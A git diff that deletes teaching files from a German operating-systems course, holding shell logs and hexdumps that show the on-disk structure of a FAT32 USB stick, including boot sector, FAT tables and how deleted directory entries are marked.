6f 74 61 62 6c 65 20 66 6c |rt a bootable fl| -000000b0 6f 70 70 79 20 61 6e 64 0d 0a 70 72 65 73 73 20 |oppy and..press | -000000c0 61 6e 79 20 6b 65 79 20 74 6f 20 74 72 79 20 61 |any key to try a| -000000d0 67 61 69 6e 20 2e 2e 2e 20 0d 0a 00 00 00 00 00 |gain ... .......| -000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.| -00000200 52 52 61 41 00 00 00 00 00 00 00 00 00 00 00 00 |RRaA............| -00000210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -000003e0 00 00 00 00 72 72 41 61 30 92 0f 00 03 00 00 00 |....rrAa0.......| -000003f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.| -00000400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -00000c00 eb 58 90 6d 6b 66 73 2e 66 61 74 00 02 08 20 00 |.X.mkfs.fat... .| -00000c10 02 00 00 00 00 f8 00 00 3e 00 81 00 00 00 00 00 |........>.......| -00000c20 00 d0 7c 00 28 1f 00 00 00 00 00 00 02 00 00 00 |..|.(...........| -00000c30 01 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -00000c40 80 00 29 27 b7 d9 08 4e 4f 20 4e 41 4d 45 20 20 |..)'...NO NAME | -00000c50 20 20 46 41 54 33 32 20 20 20 0e 1f be 77 7c ac | FAT32 ...w|.| -00000c60 22 c0 74 0b 56 b4 0e bb 07 00 cd 10 5e eb f0 32 |".t.V.......^..2| -00000c70 e4 cd 16 cd 19 eb fe 54 68 69 73 20 69 73 20 6e |.......This is n| -00000c80 6f 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 64 69 |ot a bootable di| -00000c90 73 6b 2e 20 20 50 6c 65 61 73 65 20 69 6e 73 65 |sk. Please inse| -00000ca0 72 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 66 6c |rt a bootable fl| -00000cb0 6f 70 70 79 20 61 6e 64 0d 0a 70 72 65 73 73 20 |oppy and..press | -00000cc0 61 6e 79 20 6b 65 79 20 74 6f 20 74 72 79 20 61 |any key to try a| -00000cd0 67 61 69 6e 20 2e 2e 2e 20 0d 0a 00 00 00 00 00 |gain ... .......| -00000ce0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -00000df0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.| -00000e00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -00004000 f8 ff ff 0f ff ff ff 0f f8 ff ff 0f ff ff ff 0f |................| -00004010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -003e9000 f8 ff ff 0f ff ff ff 0f f8 ff ff 0f ff ff ff 0f |................| -003e9010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -007ce000 41 74 00 65 00 73 00 74 00 2e 00 0f 00 8f 74 00 |At.e.s.t......t.| -007ce010 78 00 74 00 00 00 ff ff ff ff 00 00 ff ff ff ff |x.t.............| -007ce020 54 45 53 54 20 20 20 20 54 58 54 20 00 64 cf 5b |TEST TXT .d.[| -007ce030 a2 54 a2 54 00 00 cf 5b a2 54 03 00 13 00 00 00 |.T.T...[.T......| -007ce040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -007cf000 44 69 65 73 20 69 73 74 20 65 69 6e 20 54 65 73 |Dies ist ein Tes| -007cf010 74 2e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 |t...............| -007cf020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -02800000 -40960+0 Datensätze ein -40960+0 Datensätze aus -41943040 bytes (42 MB, 40 MiB) copied, 3,92683 s, 10,7 MB/s -cassini/home/peter/bo/2022ss/bs/20220502# diff --git a/20220502/filesystems-16.txt b/20220502/filesystems-16.txt deleted file mode 100644 index 1028779b8e5d99a33280f09693ce2b0cfb5f2513..0000000000000000000000000000000000000000 --- a/20220502/filesystems-16.txt +++ /dev/null @@ -1,11 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220502# cp -pi ../common/os-layers-5.jpg /media/usb0/ -cp: der Eigentümer für '/media/usb0/os-layers-5.jpg' konnte nicht beibehalten werden: Die Operation ist nicht erlaubt -cassini/home/peter/bo/2022ss/bs/20220502# ls -l ../common/os-layers-5.jpg --rw-r--r-- 1 peter peter 54499 Mai 4 2015 ../common/os-layers-5.jpg -cassini/home/peter/bo/2022ss/bs/20220502# ls -l /media/usb0/ -insgesamt 68 -drwxr-xr-x 2 root root 4096 Mai 2 14:03 . -drwxr-xr-x 17 root root 4096 Dez 4 2020 .. --rwxr-xr-x 1 root root 54499 Mai 4 2015 os-layers-5.jpg --rwxr-xr-x 1 root root 19 Mai 2 13:30 test.txt -cassini/home/peter/bo/2022ss/bs/20220502# diff --git a/20220502/filesystems-17.txt b/20220502/filesystems-17.txt deleted file mode 100644 index 8f0d8c2848fec6ce492b6d1872afd9f3bb4d3b9d..0000000000000000000000000000000000000000 --- a/20220502/filesystems-17.txt +++ /dev/null @@ -1,40 +0,0 @@ -00004000 f8 ff ff 0f ff ff ff 0f f8 ff ff 0f ff ff ff 0f |................| -00004010 05 00 00 00 06 00 00 00 07 00 00 00 08 00 00 00 |................| -00004020 09 00 00 00 0a 00 00 00 0b 00 00 00 0c 00 00 00 |................| -00004030 0d 00 00 00 0e 00 00 00 0f 00 00 00 10 00 00 00 |................| -00004040 11 00 00 00 ff ff ff 0f 00 00 00 00 00 00 00 00 |................| -00004050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -003e9000 f8 ff ff 0f ff ff ff 0f f8 ff ff 0f ff ff ff 0f |................| -003e9010 05 00 00 00 06 00 00 00 07 00 00 00 08 00 00 00 |................| -003e9020 09 00 00 00 0a 00 00 00 0b 00 00 00 0c 00 00 00 |................| -003e9030 0d 00 00 00 0e 00 00 00 0f 00 00 00 10 00 00 00 |................| -003e9040 11 00 00 00 ff ff ff 0f 00 00 00 00 00 00 00 00 |................| -003e9050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -007ce000 41 74 00 65 00 73 00 74 00 2e 00 0f 00 8f 74 00 |At.e.s.t......t.| -007ce010 78 00 74 00 00 00 ff ff ff ff 00 00 ff ff ff ff |x.t.............| -007ce020 54 45 53 54 20 20 20 20 54 58 54 20 00 64 cf 5b |TEST TXT .d.[| -007ce030 a2 54 a2 54 00 00 cf 5b a2 54 03 00 13 00 00 00 |.T.T...[.T......| -007ce040 42 70 00 67 00 00 00 ff ff ff ff 0f 00 0e ff ff |Bp.g............| -007ce050 ff ff ff ff ff ff ff ff ff ff 00 00 ff ff ff ff |................| -007ce060 01 6f 00 73 00 2d 00 6c 00 61 00 0f 00 0e 79 00 |.o.s.-.l.a....y.| -007ce070 65 00 72 00 73 00 2d 00 35 00 00 00 2e 00 6a 00 |e.r.s.-.5.....j.| -007ce080 4f 53 2d 4c 41 59 7e 31 4a 50 47 20 00 00 78 60 |OS-LAY~1JPG ..x`| -007ce090 a2 54 a2 54 00 00 a2 43 a4 46 04 00 e3 d4 00 00 |.T.T...C.F......| -007ce0a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -007cf000 44 69 65 73 20 69 73 74 20 65 69 6e 20 54 65 73 |Dies ist ein Tes| -007cf010 74 2e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 |t...............| -007cf020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -007d0000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 |......JFIF.....H| -007d0010 00 48 00 00 ff e1 00 80 45 78 69 66 00 00 4d 4d |.H......Exif..MM| -007d0020 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 |.*..............| -007d0030 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 |...>...........F| -007d0040 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 |.(...........i..| -007d0050 00 00 00 01 00 00 00 4e 00 00 00 00 00 00 00 48 |.......N.......H| -007d0060 00 00 00 01 00 00 00 48 00 00 00 01 00 03 90 00 |.......H........| -007d0070 00 07 00 00 00 04 30 32 31 30 a0 00 00 07 00 00 |......0210......| -007d0080 00 04 30 31 30 30 a0 01 00 03 00 00 00 01 ff ff |..0100..........| -007d0090 00 00 00 00 00 00 ff e1 02 88 68 74 74 70 3a 2f |..........http:/| diff --git a/20220502/filesystems-18.txt b/20220502/filesystems-18.txt deleted file mode 100644 index 03a4a73b0dcf47740a10340a81753a18dd544a5d..0000000000000000000000000000000000000000 --- a/20220502/filesystems-18.txt +++ /dev/null @@ -1,20 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220502# ls -l /media/usb0/ -insgesamt 68 -drwxr-xr-x 2 root root 4096 Jan 1 1970 . -drwxr-xr-x 17 root root 4096 Dez 4 2020 .. --rwxr-xr-x 1 root root 54499 Mai 4 2015 os-layers-5.jpg --rwxr-xr-x 1 root root 19 Mai 2 13:30 test.txt -cassini/home/peter/bo/2022ss/bs/20220502# rm /media/usb0/test.txt -cassini/home/peter/bo/2022ss/bs/20220502# ls -l /media/usb0/ -insgesamt 64 -drwxr-xr-x 2 root root 4096 Mai 2 14:13 . -drwxr-xr-x 17 root root 4096 Dez 4 2020 .. --rwxr-xr-x 1 root root 54499 Mai 4 2015 os-layers-5.jpg -cassini/home/peter/bo/2022ss/bs/20220502# cp -pi ../common/Operating_system_placement-de.svg /media/usb0/ -cp: der Eigentümer für '/media/usb0/Operating_system_placement-de.svg' konnte nicht beibehalten werden: Die Operation ist nicht erlaubt -cassini/home/peter/bo/2022ss/bs/20220502# ls -l /media/usb0/ insgesamt 84 -drwxr-xr-x 2 root root 4096 Mai 2 14:14 . -drwxr-xr-x 17 root root 4096 Dez 4 2020 .. --rwxr-xr-x 1 root root 17312 Okt 5 2013 Operating_system_placement-de.svg --rwxr-xr-x 1 root root 54499 Mai 4 2015 os-layers-5.jpg -cassini/home/peter/bo/2022ss/bs/20220502# diff --git a/20220502/filesystems-19.txt b/20220502/filesystems-19.txt deleted file mode 100644 index 1a386593fbf943398026e159021f9e0f9a5148c3..0000000000000000000000000000000000000000 --- a/20220502/filesystems-19.txt +++ /dev/null @@ -1,42 +0,0 @@ -00004000 f8 ff ff 0f ff ff ff 0f f8 ff ff 0f 00 00 00 00 |................| -00004010 05 00 00 00 06 00 00 00 07 00 00 00 08 00 00 00 |................| -00004020 09 00 00 00 0a 00 00 00 0b 00 00 00 0c 00 00 00 |................| -00004030 0d 00 00 00 0e 00 00 00 0f 00 00 00 10 00 00 00 |................| -00004040 11 00 00 00 ff ff ff 0f 13 00 00 00 14 00 00 00 |................| -00004050 15 00 00 00 16 00 00 00 ff ff ff 0f 00 00 00 00 |................| -00004060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -003e9000 f8 ff ff 0f ff ff ff 0f f8 ff ff 0f 00 00 00 00 |................| -003e9010 05 00 00 00 06 00 00 00 07 00 00 00 08 00 00 00 |................| -003e9020 09 00 00 00 0a 00 00 00 0b 00 00 00 0c 00 00 00 |................| -003e9030 0d 00 00 00 0e 00 00 00 0f 00 00 00 10 00 00 00 |................| -003e9040 11 00 00 00 ff ff ff 0f 13 00 00 00 14 00 00 00 |................| -003e9050 15 00 00 00 16 00 00 00 ff ff ff 0f 00 00 00 00 |................| -003e9060 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -007ce000 e5 74 00 65 00 73 00 74 00 2e 00 0f 00 8f 74 00 |.t.e.s.t......t.| -007ce010 78 00 74 00 00 00 ff ff ff ff 00 00 ff ff ff ff |x.t.............| -007ce020 e5 45 53 54 20 20 20 20 54 58 54 20 00 64 cf 5b |.EST TXT .d.[| -007ce030 a2 54 a2 54 00 00 cf 5b a2 54 03 00 13 00 00 00 |.T.T...[.T......| -007ce040 42 70 00 67 00 00 00 ff ff ff ff 0f 00 0e ff ff |Bp.g............| -007ce050 ff ff ff ff ff ff ff ff ff ff 00 00 ff ff ff ff |................| -007ce060 01 6f 00 73 00 2d 00 6c 00 61 00 0f 00 0e 79 00 |.o.s.-.l.a....y.| -007ce070 65 00 72 00 73 00 2d 00 35 00 00 00 2e 00 6a 00 |e.r.s.-.5.....j.| -007ce080 4f 53 2d 4c 41 59 7e 31 4a 50 47 20 00 00 78 60 |OS-LAY~1JPG ..x`| -007ce090 a2 54 a2 54 00 00 a2 43 a4 46 04 00 e3 d4 00 00 |.T.T...C.F......| -007ce0a0 43 2d 00 64 00 65 00 2e 00 73 00 0f 00 51 76 00 |C-.d.e...s...Qv.| -007ce0b0 67 00 00 00 ff ff ff ff ff ff 00 00 ff ff ff ff |g...............| -007ce0c0 02 74 00 65 00 6d 00 5f 00 70 00 0f 00 51 6c 00 |.t.e.m._.p...Ql.| -007ce0d0 61 00 63 00 65 00 6d 00 65 00 00 00 6e 00 74 00 |a.c.e.m.e...n.t.| -007ce0e0 01 4f 00 70 00 65 00 72 00 61 00 0f 00 51 74 00 |.O.p.e.r.a...Qt.| -007ce0f0 69 00 6e 00 67 00 5f 00 73 00 00 00 79 00 73 00 |i.n.g._.s...y.s.| -007ce100 4f 50 45 52 41 54 7e 31 53 56 47 20 00 64 c6 61 |OPERAT~1SVG .d.a| -007ce110 a2 54 87 54 00 00 8a 5c 45 43 12 00 a0 43 00 00 |.T.T...\EC...C..| -007ce120 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -007cf000 44 69 65 73 20 69 73 74 20 65 69 6e 20 54 65 73 |Dies ist ein Tes| -007cf010 74 2e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 |t...............| -007cf020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -007d0000 ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 |......JFIF.....H| -007d0010 00 48 00 00 ff e1 00 80 45 78 69 66 00 00 4d 4d |.H......Exif..MM| diff --git a/20220502/filesystems-2.txt b/20220502/filesystems-2.txt deleted file mode 100644 index 2b715a171fb0bd0813a6d5aa68300109561f5b68..0000000000000000000000000000000000000000 --- a/20220502/filesystems-2.txt +++ /dev/null @@ -1,11 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220502> mount /media/usb1 -mount: /media/usb1: special device /dev/sdb1 does not exist. -cassini/home/peter/bo/2022ss/bs/20220502> mount /media/usb1 -cassini/home/peter/bo/2022ss/bs/20220502> ls -l /media/usb1/ -insgesamt 4 --rwxr-xr-x 1 peter peter 19 Mai 2 12:46 test.txt -cassini/home/peter/bo/2022ss/bs/20220502> rm /media/usb1/test.txt -cassini/home/peter/bo/2022ss/bs/20220502> ls -l /media/usb1/ -insgesamt 0 -cassini/home/peter/bo/2022ss/bs/20220502> umount /media/usb1 -cassini/home/peter/bo/2022ss/bs/20220502> diff --git a/20220502/filesystems-3.txt b/20220502/filesystems-3.txt deleted file mode 100644 index 6c9129ef3f59869072cf371d8ade7da6de2d58f6..0000000000000000000000000000000000000000 --- a/20220502/filesystems-3.txt +++ /dev/null @@ -1,5 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220502> ls -l /dev/sdb1 -ls: Zugriff auf '/dev/sdb1' nicht möglich: Datei oder Verzeichnis nicht gefunden -cassini/home/peter/bo/2022ss/bs/20220502> ls -l /dev/sdb1 -brw-rw---- 1 root disk 8, 17 Mai 2 12:50 /dev/sdb1 -cassini/home/peter/bo/2022ss/bs/20220502> diff --git a/20220502/filesystems-4.txt b/20220502/filesystems-4.txt deleted file mode 100644 index 8c22f8a9a0217d46fe1ef9af72690dd917bacdab..0000000000000000000000000000000000000000 --- a/20220502/filesystems-4.txt +++ /dev/null @@ -1,8 +0,0 @@ -cassini/home/peter/bo/2022ss/bs/20220502> ls -l /dev/sdb1 -brw-rw---- 1 root disk 8, 17 Mai 2 12:50 /dev/sdb1 -cassini/home/peter/bo/2022ss/bs/20220502> -cassini/home/peter/bo/2022ss/bs/20220502> less /dev/sdb1 -/dev/sdb1 is not a regular file (use -f to see it) -cassini/home/peter/bo/2022ss/bs/20220502> less -f /dev/sdb1 -/dev/sdb1: Keine Berechtigung -cassini/home/peter/bo/2022ss/bs/20220502> sudo less -f /dev/sdb1 diff --git a/20220502/filesystems-5.txt b/20220502/filesystems-5.txt deleted file mode 100644 index 7d153989b8c042eb8191e3f543e6968751af52f0..0000000000000000000000000000000000000000 --- a/20220502/filesystems-5.txt +++ /dev/null @@ -1,42 +0,0 @@ -<EB>X<90>mkfs.fat^@^B^H ^@^B^@^@^@^@<F8>^@^@>^@<81>^@^@^H^@^@^@<C8>|^@(^_^@^@^@^@^@^@^B^@^@^@ -^A^@^F^@^@^@^@^@^@^@^@^@^@^@^@^@<80>^A)_Q3<C0>NO NAME FAT32 ^N^_<BE>w|<AC>"<C0>t^KV<B4> -^N<BB>^G^@<CD>^P^<EB><F0>2<E4><CD>^V<CD>^Y<EB><FE>This is not a bootable disk. Please insert - a bootable floppy and -press any key to try again ... -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@U<AA>RRaA^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@rrAa1<91>^O^@ -<83>~ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@U<AA>^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ -^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ diff --git a/20220502/filesystems-6.txt b/20220502/filesystems-6.txt deleted file mode 100644 index 85f28a1d91a58285d806652979b862343a86db5f..0000000000000000000000000000000000000000 --- a/20220502/filesystems-6.txt +++ /dev/null @@ -1,43 +0,0 @@ -00000000 eb 58 90 6d 6b 66 73 2e 66 61 74 00 02 08 20 00 |.X.mkfs.fat... .| -00000010 02 00 00 00 00 f8 00 00 3e 00 81 00 00 08 00 00 |........>.......| -00000020 00 c8 7c 00 28 1f 00 00 00 00 00 00 02 00 00 00 |..|.(...........| -00000030 01 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -00000040 80 01 29 5f 51 33 c0 4e 4f 20 4e 41 4d 45 20 20 |..)_Q3.NO NAME | -00000050 20 20 46 41 54 33 32 20 20 20 0e 1f be 77 7c ac | FAT32 ...w|.| -00000060 22 c0 74 0b 56 b4 0e bb 07 00 cd 10 5e eb f0 32 |".t.V.......^..2| -00000070 e4 cd 16 cd 19 eb fe 54 68 69 73 20 69 73 20 6e |.......This is n| -00000080 6f 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 64 69 |ot a bootable di| -00000090 73 6b 2e 20 20 50 6c 65 61 73 65 20 69 6e 73 65 |sk. Please inse| -000000a0 72 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 66 6c |rt a bootable fl| -000000b0 6f 70 70 79 20 61 6e 64 0d 0a 70 72 65 73 73 20 |oppy and..press | -000000c0 61 6e 79 20 6b 65 79 20 74 6f 20 74 72 79 20 61 |any key to try a| -000000d0 67 61 69 6e 20 2e 2e 2e 20 0d 0a 00 00 00 00 00 |gain ... .......| -000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -000001f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.| -00000200 52 52 61 41 00 00 00 00 00 00 00 00 00 00 00 00 |RRaA............| -00000210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -000003e0 00 00 00 00 72 72 41 61 31 91 0f 00 83 7e 0a 00 |....rrAa1....~..| -000003f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.| -00000400 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -00000c00 eb 58 90 6d 6b 66 73 2e 66 61 74 00 02 08 20 00 |.X.mkfs.fat... .| -00000c10 02 00 00 00 00 f8 00 00 3e 00 81 00 00 08 00 00 |........>.......| -00000c20 00 c8 7c 00 28 1f 00 00 00 00 00 00 02 00 00 00 |..|.(...........| -00000c30 01 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -00000c40 80 00 29 5f 51 33 c0 4e 4f 20 4e 41 4d 45 20 20 |..)_Q3.NO NAME | -00000c50 20 20 46 41 54 33 32 20 20 20 0e 1f be 77 7c ac | FAT32 ...w|.| -00000c60 22 c0 74 0b 56 b4 0e bb 07 00 cd 10 5e eb f0 32 |".t.V.......^..2| -00000c70 e4 cd 16 cd 19 eb fe 54 68 69 73 20 69 73 20 6e |.......This is n| -00000c80 6f 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 64 69 |ot a bootable di| -00000c90 73 6b 2e 20 20 50 6c 65 61 73 65 20 69 6e 73 65 |sk. Please inse| -00000ca0 72 74 20 61 20 62 6f 6f 74 61 62 6c 65 20 66 6c |rt a bootable fl| -00000cb0 6f 70 70 79 20 61 6e 64 0d 0a 70 72 65 73 73 20 |oppy and..press | -00000cc0 61 6e 79 20 6b 65 79 20 74 6f 20 74 72 79 20 61 |any key to try a| -00000cd0 67 61 69 6e 20 2e 2e 2e 20 0d 0a 00 00 00 00 00 |gain ... .......| -00000ce0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* -00000df0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 aa |..............U.| -00000e00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| -* diff --git a/20220502/filesystems-7.txt b/20220502/filesystems-7.txt deleted file mode 100644 index 42618d39cb21f5a350901fb79e2a7bd291727cf8..0000000000000000000000000000000000000000 --- a/20220502/filesystems-7.txt +++ /dev/null @@ -1,42 +0,0 @@ -007ce000 e5 74 00 65 00 73 00 74 00 2e 00 0f 00 8f 74 00 |.t.e.s.t......t.| -007ce010 78 00 74 00 00 00 ff ff ff ff 00 00 ff ff ff ff |x.t.............| -007ce020 e5 45 53 54 20 20 20 20 54 58 54 20 00 64 c0 55 |.EST TXT .d.U| -007ce030 a2 54 a2 54 0a 00 c0 55 a2 54 83 7e 13 00 00 00 |.T.T...U.T.~....| -007ce040 e5 20 00 31 00 39 00 37 00 39 00 0f 00 af 20 00 |. .1.9.7.9.... .| -007ce050 33 04 2e 00 29 00 2d 00 54 00 00 00 47 00 52 00 |3...).-.T...G.R.| -007ce060 e5 39 04 20 00 22 04 30 04 40 04 0f 00 af 3a 04 |.9. .".0.@....:.| -007ce070 3e 04 32 04 41 04 3a 04 38 04 00 00 39 04 2c 00 |>.2.A.:.8...9.,.| -007ce080 e5 30 04 2c 00 20 00 40 04 35 04 0f 00 af 36 04 |.0.,. .@.5....6.| -007ce090 2e 00 20 00 10 04 3d 04 34 04 00 00 40 04 35 04 |.. ...=.4...@.5.| -007ce0a0 e5 48 00 44 00 2c 00 20 00 44 04 0f 00 af 30 04 |.H.D.,. .D....0.| -007ce0b0 3d 04 42 04 30 04 41 04 42 04 00 00 38 04 3a 04 |=.B.0.A.B...8.:.| -007ce0c0 e5 21 04 42 04 30 04 3b 04 3a 04 0f 00 af 35 04 |.!.B.0.;.:....5.| -007ce0d0 40 04 20 00 